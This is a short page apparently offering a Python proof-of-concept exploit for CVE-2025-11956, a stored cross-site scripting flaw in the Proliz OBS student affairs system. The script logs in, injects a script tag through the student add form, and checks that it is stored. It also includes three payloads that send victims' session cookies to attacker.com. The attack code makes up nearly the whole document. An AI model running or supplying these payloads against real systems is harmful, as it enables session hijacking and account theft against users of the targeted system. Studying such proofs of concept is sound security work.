CVE-2025-11956: Proliz OBS学生事务信息系统存储型XSS漏洞

import requests import argparse # CVE-2025-11956 Stored XSS PoC # Target: Proliz OBS (Student Affairs Information System) # Vulnerability: Improper Input Neutralization leading to Stored XSS def exploit_stored_xss(target_url, username, password, payload): """ Exploit stored XSS vulnerability in OBS system """ session = requests.Session() # Step 1: Login to the system login_url = f"{target_url}/login" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data) print(f"[*] Login attempt: {response.status_code}") # Step 2: Inject XSS payload in student info form inject_url = f"{target_url}/student/add" inject_data = { 'student_name': f"<script>alert(document.cookie)</script>", 'student_id': '12345', 'notes': payload } response = session.post(inject_url, data=inject_data) print(f"[*] Payload injection: {response.status_code}") # Step 3: Verify stored XSS view_url = f"{target_url}/student/view/12345" response = session.get(view_url) if payload in response.text or '<script>' in response.text: print("[+] Stored XSS vulnerability confirmed!") return True else: print("[-] Payload not found in response") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False # Example payloads for CVE-2025-11956 PAYLOADS = [ '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>', '<img src=x onerror="fetch(\'https://attacker.com/log?data=\'+btoa(document.cookie))">', '<svg/onload=fetch("https://attacker.com/cookie?"+document.cookie)>' ] if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-11956 PoC') parser.add_argument('-t', '--target', required=True, help='Target URL') parser.add_argument('-u', '--username', required=True, help='Username') parser.add_argument('-p', '--password', required=True, help='Password') args = parser.parse_args() for payload in PAYLOADS: print(f"[*] Testing payload: {payload}") exploit_stored_xss(args.target, args.username, args.password, payload)